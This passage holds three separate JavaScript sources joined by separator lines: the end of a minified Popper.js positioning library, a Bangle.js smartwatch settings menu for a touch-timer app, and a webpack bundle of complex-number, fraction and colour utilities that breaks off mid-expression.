requestAnimationFrame(n.update)},this.update=oe(this.update.bind(this)),this.options=se({},t.Defaults,r),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=o.jquery?o[0]:o,this.popper=i.jquery?i[0]:i,this.options.modifiers={},Object.keys(se({},t.Defaults.modifiers,r.modifiers)).forEach(function(e){n.options.modifiers[e]=se({},t.Defaults.modifiers[e]||{},r.modifiers?r.modifiers[e]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(e){return se({name:e},n.options.modifiers[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onLoad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enableEventListeners(),this.state.eventsEnabled=p}return re(t,[{key:'update',value:function(){return k.call(this)}},{key:'destroy',value:function(){return D.call(this)}},{key:'enableEventListeners',value:function(){return A.call(this)}},{key:'disableEventListeners',value:function(){return I.call(this)}}]),t}();return le.Utils=('undefined'==typeof window?global:window).PopperUtils,le.placements=de,le.Defaults={placement:'bottom',eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(e){var t=e.placement,o=t.split('-')[0],i=t.split('-')[1];if(i){var n=e.offsets,r=n.reference,p=n.popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',f={start:pe({},d,r[d]),end:pe({},d,r[d]+r[a]-p[a])};e.offsets.popper=se({},p,f[i])}return e}},offset:{order:200,enabled:!0,fn:function(e,t){var o,i=t.offset,n=e.placement,r=e.offsets,p=r.popper,s=r.reference,d=n.split('-')[0];return o=R(+i)?[+i,0]:G(i,p,s,d),'left'===d?(p.top+=o[0],p.left-=o[1]):'right'===d?(p.top+=o[0],p.left+=o[1]):'top'===d?(p.left+=o[0],p.top-=o[1]):'bottom'===d&&(p.left+=o[0],p.top+=o[1]),e.popper=p,e},offset:0},preventOverflow:{order:300,enabled:!0,fn:function(e,t){var o=t.boundariesElement||r(e.instance.popper);e.instance.reference===o&&(o=r(o));var i=w(e.instance.popper,e.instance.reference,t.padding,o);t.boundaries=i;var n=t.priority,p=e.offsets.popper,s={primary:function(e){var o=p[e];return p[e]<i[e]&&!t.escapeWithReference&&(o=_(p[e],i[e])),pe({},e,o)},secondary:function(e){var o='right'===e?'left':'top',n=p[o];return p[e]>i[e]&&!t.escapeWithReference&&(n=z(p[o],i[e]-('right'===e?p.width:p.height))),pe({},o,n)}};return n.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';p=se({},p,s[t](e))}),e.offsets.popper=p,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,i=t.reference,n=e.placement.split('-')[0],r=V,p=-1!==['top','bottom'].indexOf(n),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]<r(i[d])&&(e.offsets.popper[d]=r(i[d])-o[a]),o[d]>r(i[s])&&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,t){if(!F(e.instance.modifiers,'arrow','keepTogether'))return e;var o=t.element;if('string'==typeof o){if(o=e.instance.popper.querySelector(o),!o)return e;}else if(!e.instance.popper.contains(o))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var i=e.placement.split('-')[0],n=e.offsets,r=n.popper,p=n.reference,s=-1!==['left','right'].indexOf(i),d=s?'height':'width',a=s?'top':'left',f=s?'left':'top',l=s?'bottom':'right',m=O(o)[d];p[l]-m<r[a]&&(e.offsets.popper[a]-=r[a]-(p[l]-m)),p[a]+m>r[l]&&(e.offsets.popper[a]+=p[a]+m-r[l]);var h=p[a]+p[d]/2-m/2,g=h-c(e.offsets.popper)[a];return g=_(z(r[d]-m,g),0),e.arrowElement=o,e.offsets.arrow={},e.offsets.arrow[a]=Math.round(g),e.offsets.arrow[f]='',e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=w(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement),i=e.placement.split('-')[0],n=L(i),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case fe.FLIP:p=[i,n];break;case fe.CLOCKWISE:p=K(i);break;case fe.COUNTERCLOCKWISE:p=K(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i!==s||p.length===d+1)return e;i=e.placement.split('-')[0],n=L(i);var a=e.offsets.popper,f=e.offsets.reference,l=V,m='left'===i&&l(a.right)>l(f.left)||'right'===i&&l(a.left)<l(f.right)||'top'===i&&l(a.bottom)>l(f.top)||'bottom'===i&&l(a.top)<l(f.bottom),h=l(a.left)<l(o.left),c=l(a.right)>l(o.right),g=l(a.top)<l(o.top),u=l(a.bottom)>l(o.bottom),b='left'===i&&h||'right'===i&&c||'top'===i&&g||'bottom'===i&&u,y=-1!==['top','bottom'].indexOf(i),w=!!t.flipVariations&&(y&&'start'===r&&h||y&&'end'===r&&c||!y&&'start'===r&&g||!y&&'end'===r&&u);(m||b||w)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),w&&(r=j(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offsets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=N(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],i=e.offsets,n=i.popper,r=i.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return n[p?'left':'top']=r[t]-(s?n[p?'width':'height']:0),e.placement=L(t),e.offsets.popper=c(n),e}},hide:{order:800,enabled:!0,fn:function(e){if(!F(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=T(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottom<o.top||t.left>o.right||t.top>o.bottom||t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}},computeStyle:{order:850,enabled:!0,fn:function(e,t){var o=t.x,i=t.y,n=e.offsets.popper,p=T(e.instance.modifiers,function(e){return'applyStyle'===e.name}).gpuAcceleration;void 0!==p&&console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');var s,d,a=void 0===p?t.gpuAcceleration:p,f=r(e.instance.popper),l=g(f),m={position:n.position},h={left:V(n.left),top:V(n.top),bottom:V(n.bottom),right:V(n.right)},c='bottom'===o?'top':'bottom',u='right'===i?'left':'right',b=B('transform');if(d='bottom'==c?-l.height+h.bottom:h.top,s='right'==u?-l.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[u]=0,m.willChange='transform';else{var y='bottom'==c?-1:1,w='right'==u?-1:1;m[c]=d*y,m[u]=s*w,m.willChange=c+', '+u}var v={"x-placement":e.placement};return e.attributes=se({},v,e.attributes),e.styles=se({},m,e.styles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return U(e.instance.popper,e.styles),Y(e.instance.popper,e.attributes),e.offsets.arrow&&U(e.arrowElement,e.offsets.arrow),e},onLoad:function(e,t,o,i,n){var r=x(n,t,e),p=E(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),U(t,{position:'absolute'}),o},gpuAcceleration:void 0}}},le});
|
(function (back) {
var DEBUG = false;
var FILE = "touchtimer.data.json";
var settings = {};
var showMainMenu = () => {
log("Loading main menu");
E.showMenu({
"": { title: "Touch Timer" },
"< Back": () => back(),
"Buzz Count": {
value: settings.buzzCount,
min: 1,
max: 3,
step: 1,
onchange: (value) => {
settings.buzzCount = value;
writeSettings(settings);
},
},
"Buzz Duration": {
value: settings.buzzDuration,
min: 1,
max: 10,
step: 0.5,
format: (value) => value + "s",
onchange: (value) => {
settings.buzzDuration = value;
writeSettings(settings);
},
},
"CountDown Buzz": {
value: !!settings.countDownBuzz,
format: value => value?"On":"Off",
onchange: (value) => {
settings.countDownBuzz = value;
writeSettings(settings);
},
},
"Pause Between": {
value: settings.pauseBetween,
min: 1,
max: 5,
step: 1,
format: (value) => value + "s",
onchange: (value) => {
settings.pauseBetween = value;
writeSettings(settings);
},
},
});
};
// lib functions
var log = (message) => {
if (DEBUG) {
console.log(JSON.stringify(message));
}
};
var readSettings = () => {
log("reading settings");
var settings = require("Storage").readJSON(FILE, 1) || {
buzzCount: 3,
buzzDuration: 1,
pauseBetween: 1,
};
log(settings);
return settings;
};
var writeSettings = (settings) => {
log("writing settings");
log(settings);
require("Storage").writeJSON(FILE, settings);
};
// start main function
settings = readSettings();
showMainMenu();
});
|
/*! For license information please see 2.da070c0a.chunk.js.LICENSE.txt */
(this.webpackJsonpgausslab=this.webpackJsonpgausslab||[]).push([[2],[function(e,t,n){"use strict";e.exports=n(79)},function(e,t,n){e.exports=n(85)()},function(e,t,n){"use strict";function r(){return(r=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}n.d(t,"a",(function(){return r}))},,function(e,t,n){"use strict";n.d(t,"b",(function(){return o})),n.d(t,"c",(function(){return l})),n.d(t,"a",(function(){return u}));var r,i=n(1),a=n.n(i);function o(e,t){return void 0===e&&(e=""),void 0===t&&(t=r),t?e.split(" ").map((function(e){return t[e]||e})).join(" "):e}var s="object"===typeof window&&window.Element||function(){};a.a.oneOfType([a.a.string,a.a.func,function(e,t,n){if(!(e[t]instanceof s))return new Error("Invalid prop `"+t+"` supplied to `"+n+"`. Expected prop to be an instance of Element. Validation failed.")},a.a.shape({current:a.a.any})]);var l=a.a.oneOfType([a.a.func,a.a.string,a.a.shape({$$typeof:a.a.symbol,render:a.a.func}),a.a.arrayOf(a.a.oneOfType([a.a.func,a.a.string,a.a.shape({$$typeof:a.a.symbol,render:a.a.func})]))]);"undefined"===typeof window||!window.document||window.document.createElement;function u(e){var t=typeof e;return null!=e&&("object"===t||"function"===t)}},function(e,t,n){"use strict";n.d(t,"a",(function(){return i}));var r=n(6);function i(e,t){if(null==e)return{};var n,i,a=Object(r.a)(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(i=0;i<o.length;i++)n=o[i],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}},function(e,t,n){"use strict";function r(e,t){if(null==e)return{};var n,r,i={},a=Object.keys(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)>=0||(i[n]=e[n]);return i}n.d(t,"a",(function(){return r}))},function(e,t,n){var r;!function(){"use strict";var n={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var r=arguments[t];if(r){var a=typeof r;if("string"===a||"number"===a)e.push(r);else if(Array.isArray(r)&&r.length){var o=i.apply(null,r);o&&e.push(o)}else if("object"===a)for(var s in r)n.call(r,s)&&r[s]&&e.push(s)}}return e.join(" ")}e.exports?(i.default=i,e.exports=i):void 0===(r=function(){return i}.apply(t,[]))||(e.exports=r)}()},function(e,t,n){var r;!function(n){"use strict";var i=function(e){return.5*(Math.exp(e)+Math.exp(-e))},a=function(e){return.5*(Math.exp(e)-Math.exp(-e))},o=function(){throw SyntaxError("Invalid Param")};function s(e,t){var n=Math.abs(e),r=Math.abs(t);return 0===e?Math.log(r):0===t?Math.log(n):n<3e3&&r<3e3?.5*Math.log(e*e+t*t):Math.log(e/Math.cos(Math.atan2(t,e)))}function l(e,t){if(!(this instanceof l))return new l(e,t);var n=function(e,t){var n={re:0,im:0};if(void 0===e||null===e)n.re=n.im=0;else if(void 0!==t)n.re=e,n.im=t;else switch(typeof e){case"object":if("im"in e&&"re"in e)n.re=e.re,n.im=e.im;else if("abs"in e&&"arg"in e){if(!Number.isFinite(e.abs)&&Number.isFinite(e.arg))return l.INFINITY;n.re=e.abs*Math.cos(e.arg),n.im=e.abs*Math.sin(e.arg)}else if("r"in e&&"phi"in e){if(!Number.isFinite(e.r)&&Number.isFinite(e.phi))return l.INFINITY;n.re=e.r*Math.cos(e.phi),n.im=e.r*Math.sin(e.phi)}else 2===e.length?(n.re=e[0],n.im=e[1]):o();break;case"string":n.im=n.re=0;var r=e.match(/\d+\.?\d*e[+-]?\d+|\d+\.?\d*|\.\d+|./g),i=1,a=0;null===r&&o();for(var s=0;s<r.length;s++){var u=r[s];" "===u||"\t"===u||"\n"===u||("+"===u?i++:"-"===u?a++:"i"===u||"I"===u?(i+a===0&&o()," "===r[s+1]||isNaN(r[s+1])?n.im+=parseFloat((a%2?"-":"")+"1"):(n.im+=parseFloat((a%2?"-":"")+r[s+1]),s++),i=a=0):((i+a===0||isNaN(u))&&o(),"i"===r[s+1]||"I"===r[s+1]?(n.im+=parseFloat((a%2?"-":"")+u),s++):n.re+=parseFloat((a%2?"-":"")+u),i=a=0))}i+a>0&&o();break;case"number":n.im=0,n.re=e;break;default:o()}return isNaN(n.re)||isNaN(n.im),n}(e,t);this.re=n.re,this.im=n.im}l.prototype={re:0,im:0,sign:function(){var e=this.abs();return new l(this.re/e,this.im/e)},add:function(e,t){var n=new l(e,t);return this.isInfinite()&&n.isInfinite()?l.NAN:this.isInfinite()||n.isInfinite()?l.INFINITY:new l(this.re+n.re,this.im+n.im)},sub:function(e,t){var n=new l(e,t);return this.isInfinite()&&n.isInfinite()?l.NAN:this.isInfinite()||n.isInfinite()?l.INFINITY:new l(this.re-n.re,this.im-n.im)},mul:function(e,t){var n=new l(e,t);return this.isInfinite()&&n.isZero()||this.isZero()&&n.isInfinite()?l.NAN:this.isInfinite()||n.isInfinite()?l.INFINITY:0===n.im&&0===this.im?new l(this.re*n.re,0):new l(this.re*n.re-this.im*n.im,this.re*n.im+this.im*n.re)},div:function(e,t){var n=new l(e,t);if(this.isZero()&&n.isZero()||this.isInfinite()&&n.isInfinite())return l.NAN;if(this.isInfinite()||n.isZero())return l.INFINITY;if(this.isZero()||n.isInfinite())return l.ZERO;e=this.re,t=this.im;var r,i,a=n.re,o=n.im;return 0===o?new l(e/a,t/a):Math.abs(a)<Math.abs(o)?new l((e*(i=a/o)+t)/(r=a*i+o),(t*i-e)/r):new l((e+t*(i=o/a))/(r=o*i+a),(t-e*i)/r)},pow:function(e,t){var n=new l(e,t);if(e=this.re,t=this.im,n.isZero())return l.ONE;if(0===n.im){if(0===t&&e>=0)return new l(Math.pow(e,n.re),0);if(0===e)switch((n.re%4+4)%4){case 0:return new l(Math.pow(t,n.re),0);case 1:return new l(0,Math.pow(t,n.re));case 2:return new l(-Math.pow(t,n.re),0);case 3:return new l(0,-Math.pow(t,n.re))}}if(0===e&&0===t&&n.re>0&&n.im>=0)return l.ZERO;var r=Math.atan2(t,e),i=s(e,t);return e=Math.exp(n.re*i-n.im*r),t=n.im*i+n.re*r,new l(e*Math.cos(t),e*Math.sin(t))},sqrt:function(){var e,t,n=this.re,r=this.im,i=this.abs();if(n>=0){if(0===r)return new l(Math.sqrt(n),0);e=.5*Math.sqrt(2*(i+n))}else e=Math.abs(r)/Math.sqrt(2*(i-n));return t=n<=0?.5*Math.sqrt(2*(i-n)):Math.abs(r)/Math.sqrt(2*(i+n)),new l(e,r<0?-t:t)},exp:function(){var e=Math.exp(this.re);return this.im,new l(e*Math.cos(this.im),e*Math.sin(this.im))},expm1:function(){var e=this.re,t=this.im;return new l(Math.expm1(e)*Math.cos(t)+function(e){var t=Math.PI/4;if(e<-t||e>t)return Math.cos(e)-1;var n=e*e;return n*(n*(1/24+n*(-1/720+n*(1/40320+n*(-1/3628800+n*(1/4790014600+n*(-1/87178291200+n*(1/20922789888e3)))))))-.5)}(t),Math.exp(e)*Math.sin(t))},log:function(){var e=this.re,t=this.im;return new l(s(e,t),Math.atan2(t,e))},abs:function(){return function(e,t){var n=Math.abs(e),r=Math.abs(t);return n<3e3&&r<3e3?Math.sqrt(n*n+r*r):(n<r?(n=r,r=e/t):r=t/e,n*Math.sqrt(1+r*r))}(this.re,this.im)},arg:function(){return Math.atan2(this.im,this.re)},sin:function(){var e=this.re,t=this.im;return new l(Math.sin(e)*i(t),Math.cos(e)*a(t))},cos:function(){var e=this.re,t=this.im;return new l(Math.cos(e)*i(t),-Math.sin(e)*a(t))},tan:function(){var e=2*this.re,t=2*this.im,n=Math.cos(e)+i(t);return new l(Math.sin(e)/n,a(t)/n)},cot:function(){var e=2*this.re,t=2*this.im,n=Math.cos(e)-i(t);return new l(-Math.sin(e)/n,a(t)/n)},sec:function(){var e=this.re,t=this.im,n=.5*i(2*t)+.5*Math.cos(2*e);return new l(Math.cos(e)*i(t)/n,Math.sin(e)*a(t)/n)},csc:function(){var e=this.re,t=this.im,n=.5*i(2*t)-.5*Math.cos(2*e);return new l(Math.sin(e)*i(t)/n,-Math.cos(e)*a(t)/n)},asin:function(){var e=this.re,t=this.im,n=new l(t*t-e*e+1,-2*e*t).sqrt(),r=new l(n.re-t,n.im+e).log();return new l(r.im,-r.re)},acos:function(){var e=this.re,t=this.im,n=new l(t*t-e*e+1,-2*e*t).sqrt(),r=new l(n.re-t,n.im+e).log();return new l(Math.PI/2-r.im,r.re)},atan:function(){var e=this.re,t=this.im;if(0===e){if(1===t)return new l(0,1/0);if(-1===t)return new l(0,-1/0)}var n=e*e+(1-t)*(1-t),r=new l((1-t*t-e*e)/n,-2*e/n).log();return new l(-.5*r.im,.5*r.re)},acot:function(){var e=this.re,t=this.im;if(0===t)return new l(Math.atan2(1,e),0);var n=e*e+t*t;return 0!==n?new l(e/n,-t/n).atan():new l(0!==e?e/0:0,0!==t?-t/0:0).atan()},asec:function(){var e=this.re,t=this.im;if(0===e&&0===t)return new l(0,1/0);var n=e*e+t*t;return 0!==n?new l(e/n,-t/n).acos():new l(0!==e?e/0:0,0!==t?-t/0:0).acos()},acsc:function(){var e=this.re,t=this.im;if(0===e&&0===t)return new l(Math.PI/2,1/0);var n=e*e+t*t;return 0!==n?new l(e/n,-t/n).asin():new l(0!==e?e/0:0,0!==t?-t/0:0).asin()},sinh:function(){var e=this.re,t=this.im;return new l(a(e)*Math.cos(t),i(e)*Math.sin(t))},cosh:function(){var e=this.re,t=this.im;return new l(i(e)*Math.cos(t),a(e)*Math.sin(t))},tanh:function(){var e=2*this.re,t=2*this.im,n=i(e)+Math.cos(t);return new l(a(e)/n,Math.sin(t)/n)},coth:function(){var e=2*this.re,t=2*this.im,n=i(e)-Math.cos(t);return new l(a(e)/n,-Math.sin(t)/n)},csch:function(){var e=this.re,t=this.im,n=Math.cos(2*t)-i(2*e);return new l(-2*a(e)*Math.cos(t)/n,2*i(e)*Math.sin(t)/n)},sech:function(){var e=this.re,t=this.im,n=Math.cos(2*t)+i(2*e);return new l(2*i(e)*Math.cos(t)/n,-2*a(e)*Math.sin(t)/n)},asinh:function(){var e=this.im;this.im=-this.re,this.re=e;var t=this.asin();return this.re=-this.im,this.im=e,e=t.re,t.re=-t.im,t.im=e,t},acosh:function(){var e=this.acos();if(e.im<=0){var t=e.re;e.re=-e.im,e.im=t}else{t=e.im;e.im=-e.re,e.re=t}return e},atanh:function(){var e=this.re,t=this.im,n=e>1&&0===t,r=1-e,i=1+e,a=r*r+t*t,o=0!==a?new l((i*r-t*t)/a,(t*r+i*t)/a):new l(-1!==e?e/0:0,0!==t?t/0:0),u=o.re;return o.re=s(o.re,o.im)/2,o.im=Math.atan2(o.im,u)/2,n&&(o.im=-o.im),o},acoth:function(){var e=this.re,t=this.im;if(0===e&&0===t)return new l(0,Math.PI/2);var n=e*e+t*t;return 0!==n?new l(e/n,-t/n).atanh():new l(0!==e?e/0:0,0!==t?-t/0:0).atanh()},acsch:function(){var e=this.re,t=this.im;if(0===t)return new l(0!==e?Math.log(e+Math.sqrt(e*e+1)):1/0,0);var n=e*e+t*t;return 0!==n?new l(e/n,-t/n).asinh():new l(0!==e?e/0:0,0!==t?-t/0:0).asinh()},asech:function(){var e=this.re,t=this.im;if(this.isZero())return l.INFINITY;var n=e*e+t*t;return 0!==n?new l(e/n,-t/n).acosh():new l(0!==e?e/0:0,0!==t?-t/0:0).acosh()},inverse:function(){if(this.isZero())return l.INFINITY;if(this.isInfinite())return l.ZERO;var e=this.re,t=this.im,n=e*e+t*t;return new l(e/n,-t/n)},conjugate:function(){return new l(this.re,-this.im)},neg:function(){return new l(-this.re,-this.im)},ceil:function(e){return e=Math.pow(10,e||0),new l(Math.ceil(this.re*e)/e,Math.ceil(this.im*e)/e)},floor:function(e){return e=Math.pow(10,e||0),new l(Math.floor(this.re*e)/e,Math.floor(this.im*e)/e)},round:function(e){return e=Math.pow(10,e||0),new l(Math.round(this.re*e)/e,Math.round(this.im*e)/e)},equals:function(e,t){var n=new l(e,t);return Math.abs(n.re-this.re)<=l.EPSILON&&Math.abs(n.im-this.im)<=l.EPSILON},clone:function(){return new l(this.re,this.im)},toString:function(){var e=this.re,t=this.im,n="";return this.isNaN()?"NaN":this.isZero()?"0":this.isInfinite()?"Infinity":(0!==e&&(n+=e),0!==t&&(0!==e?n+=t<0?" - ":" + ":t<0&&(n+="-"),1!==(t=Math.abs(t))&&(n+=t),n+="i"),n||"0")},toVector:function(){return[this.re,this.im]},valueOf:function(){return 0===this.im?this.re:null},isNaN:function(e){function t(){return e.apply(this,arguments)}return t.toString=function(){return e.toString()},t}((function(){return isNaN(this.re)||isNaN(this.im)})),isZero:function(){return(0===this.re||-0===this.re)&&(0===this.im||-0===this.im)},isFinite:function(e){function t(){return e.apply(this,arguments)}return t.toString=function(){return e.toString()},t}((function(){return isFinite(this.re)&&isFinite(this.im)})),isInfinite:function(){return!(this.isNaN()||this.isFinite())}},l.ZERO=new l(0,0),l.ONE=new l(1,0),l.I=new l(0,1),l.PI=new l(Math.PI,0),l.E=new l(Math.E,0),l.INFINITY=new l(1/0,1/0),l.NAN=new l(NaN,NaN),l.EPSILON=1e-16,void 0===(r=function(){return l}.apply(t,[]))||(e.exports=r)}()},function(e,t,n){"use strict";function r(e){var t,n,i="";if(e)if("object"===typeof e)if(Array.isArray(e))for(t=0;t<e.length;t++)e[t]&&(n=r(e[t]))&&(i&&(i+=" "),i+=n);else for(t in e)e[t]&&(n=r(t))&&(i&&(i+=" "),i+=n);else"boolean"===typeof e||e.call||(i&&(i+=" "),i+=e);return i}t.a=function(){for(var e,t=0,n="";t<arguments.length;)(e=r(arguments[t++]))&&(n&&(n+=" "),n+=e);return n}},function(e,t,n){"use strict";function r(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1;return Math.min(Math.max(t,e),n)}function i(e){if(e.type)return e;if("#"===e.charAt(0))return i(function(e){e=e.substr(1);var t=new RegExp(".{1,".concat(e.length/3,"}"),"g"),n=e.match(t);return n&&1===n[0].length&&(n=n.map((function(e){return e+e}))),n?"rgb(".concat(n.map((function(e){return parseInt(e,16)})).join(", "),")"):""}(e));var t=e.indexOf("("),n=e.substring(0,t);if(-1===["rgb","rgba","hsl","hsla"].indexOf(n))throw new Error(["Material-UI: unsupported `".concat(e,"` color."),"We support the following formats: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla()."].join("\n"));var r=e.substring(t+1,e.length-1).split(",");return{type:n,values:r=r.map((function(e){return parseFloat(e)}))}}function a(e){var t=e.type,n=e.values;return-1!==t.indexOf("rgb")?n=n.map((function(e,t){return t<3?parseInt(e,10):e})):-1!==t.indexOf("hsl")&&(n[1]="".concat(n[1],"%"),n[2]="".concat(n[2],"%")),"".concat(t,"(").concat(n.join(", "),")")}function o(e,t){var n=s(e),r=s(t);return(Math.max(n,r)+.05)/(Math.min(n,r)+.05)}function s(e){var t="hsl"===(e=i(e)).type?i(function(e){var t=(e=i(e)).values,n=t[0],r=t[1]/100,o=t[2]/100,s=r*Math.min(o,1-o),l=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:(e+n/30)%12;return o-s*Math.max(Math.min(t-3,9-t,1),-1)},u="rgb",c=[Math.round(255*l(0)),Math.round(255*l(8)),Math.round(255*l(4))];return"hsla"===e.type&&(u+="a",c.push(t[3])),a({type:u,values:c})}(e)).values:e.values;return t=t.map((function(e){return(e/=255)<=.03928?e/12.92:Math.pow((e+.055)/1.055,2.4)})),Number((.2126*t[0]+.7152*t[1]+.0722*t[2]).toFixed(3))}function l(e,t){return e=i(e),t=r(t),"rgb"!==e.type&&"hsl"!==e.type||(e.type+="a"),e.values[3]=t,a(e)}function u(e,t){if(e=i(e),t=r(t),-1!==e.type.indexOf("hsl"))e.values[2]*=1-t;else if(-1!==e.type.indexOf("rgb"))for(var n=0;n<3;n+=1)e.values[n]*=1-t;return a(e)}function c(e,t){if(e=i(e),t=r(t),-1!==e.type.indexOf("hsl"))e.values[2]+=(100-e.values[2])*t;else if(-1!==e.type.indexOf("rgb"))for(var n=0;n<3;n+=1)e.values[n]+=(255-e.values[n])*t;return a(e)}n.d(t,"c",(function(){return o})),n.d(t,"b",(function(){return l})),n.d(t,"a",(function(){return u})),n.d(t,"d",(function(){return c}))},function(e,t,n){var r=n(55),i="object"==typeof self&&self&&self.Object===Object&&self,a=r||i||Function("return this")();e.exports=a},function(e,t){var n=Array.isArray;e.exports=n},,function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var r=n(25);var i=n(34);function a(e){return function(e){if(Array.isArray(e))return Object(r.a)(e)}(e)||function(e){if("undefined"!==typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||Object(i.a)(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}},function(e,t,n){var r=n(99),i=n(104);e.exports=function(e,t){var n=i(e,t);return r(n)?n:void 0}},function(e,t,n){var r;!function(n){"use strict";var i={s:1,n:0,d:1};function a(e){function t(){var t=Error.apply(this,arguments);t.name=this.name=e,this.stack=t.stack,this.message=t.message}function n(){}return n.prototype=Error.prototype,t.prototype=new n,t}var o=h.DivisionByZero=a("DivisionByZero"),s=h.InvalidParameter=a("InvalidParameter");function l(e,t){return isNaN(e=parseInt(e,10))&&u(),e*t}function u(){throw new s}var c=function(e,t){var n,r=0,a=1,s=1,c=0,f=0,h=0,d=1,p=1,m=0,v=1,g=1,y=1,b=1e7;if(void 0===e||null===e);else if(void 0!==t)s=(r=e)*(a=t);else switch(typeof e){case"object":"d"in e&&"n"in e?(r=e.n,a=e.d,"s"in e&&(r*=e.s)):0 in e?(r=e[0],1 in e&&(a=e[1])):u(),s=r*a;break;case"number":if(e<0&&(s=e,e=-e),e%1===0)r=e;else if(e>0){for(e>=1&&(e/=p=Math.pow(10,Math.floor(1+Math.log(e)/Math.LN10)));v<=b&&y<=b;){if(e===(n=(m+g)/(v+y))){v+y<=b?(r=m+g,a=v+y):y>v?(r=g,a=y):(r=m,a=v);break}e>n?(m+=g,v+=y):(g+=m,y+=v),v>b?(r=g,a=y):(r=m,a=v)}r*=p}else(isNaN(e)||isNaN(t))&&(a=r=NaN);break;case"string":if(null===(v=e.match(/\d+|./g))&&u(),"-"===v[m]?(s=-1,m++):"+"===v[m]&&m++,v.length===m+1?f=l(v[m++],s):"."===v[m+1]||"."===v[m]?("."!==v[m]&&(c=l(v[m++],s)),(++m+1===v.length||"("===v[m+1]&&")"===v[m+3]||"'"===v[m+1]&&"'"===v[m+3])&&(f=l(v[m],s),d=Math.pow(10,v[m].length),m++),("("===v[m]&&")"===v[m+2]||"'"===v[m]&&"'"===v[m+2])&&(h=l(v[m+1],s),p=Math.pow(10,v[m+1].length)-1,m+=3)):"/"===v[m+1]||":"===v[m+1]?(f=l(v[m],s),d=l(v[m+2],1),m+=3):"/"===v[m+3]&&" "===v[m+1]&&(c=l(v[m],s),f=l(v[m+2],s),d=l(v[m+4],1),m+=5),v.length<=m){s=r=h+(a=d*p)*c+p*f;break}default:u()}if(0===a)throw new o;i.s=s<0?-1:1,i.n=Math.abs(r),i.d=Math.abs(a)};function f(e,t){if(!e)return t;if(!t)return e;for(;;){if(!(e%=t))return t;if(!(t%=e))return e}}function h(e,t){if(!(this instanceof h))return new h(e,t);c(e,t),e=h.REDUCE?f(i.d,i.n):1,this.s=i.s,this.n=i.n/e,this.d=i.d/e}h.REDUCE=1,h.prototype={s:1,n:0,d:1,abs:function(){return new h(this.n,this.d)},neg:function(){return new h(-this.s*this.n,this.d)},add:function(e,t){return c(e,t),new h(this.s*this.n*i.d+i.s*this.d*i.n,this.d*i.d)},sub:function(e,t){return c(e,t),new h(this.s*this.n*i.d-i.s*this.d*i.n,this.d*i.d)},mul:function(e,t){return c(e,t),new h(this.s*i.s*this.n*i.n,this.d*i.d)},div:function(e,t){return c(e,t),new h(this.s*i.s*this.n*i.d,this.d*i.n)},clone:function(){return new h(this)},mod:function(e,t){return isNaN(this.n)||isNaN(this.d)?new h(NaN):void 0===e?new h(this.s*this.n%this.d,1):(c(e,t),0===i.n&&0===this.d&&h(0,0),new h(this.s*(i.d*this.n)%(i.n*this.d),i.d*this.d))},gcd:function(e,t){return c(e,t),new h(f(i.n,this.n)*f(i.d,this.d),i.d*this.d)},lcm:function(e,t){return c(e,t),0===i.n&&0===this.n?new h:new h(i.n*this.n,f(i.n,this.n)*f(i.d,this.d))},ceil:function(e){return e=Math.pow(10,e||0),isNaN(this.n)||isNaN(this.d)?new h(NaN):new 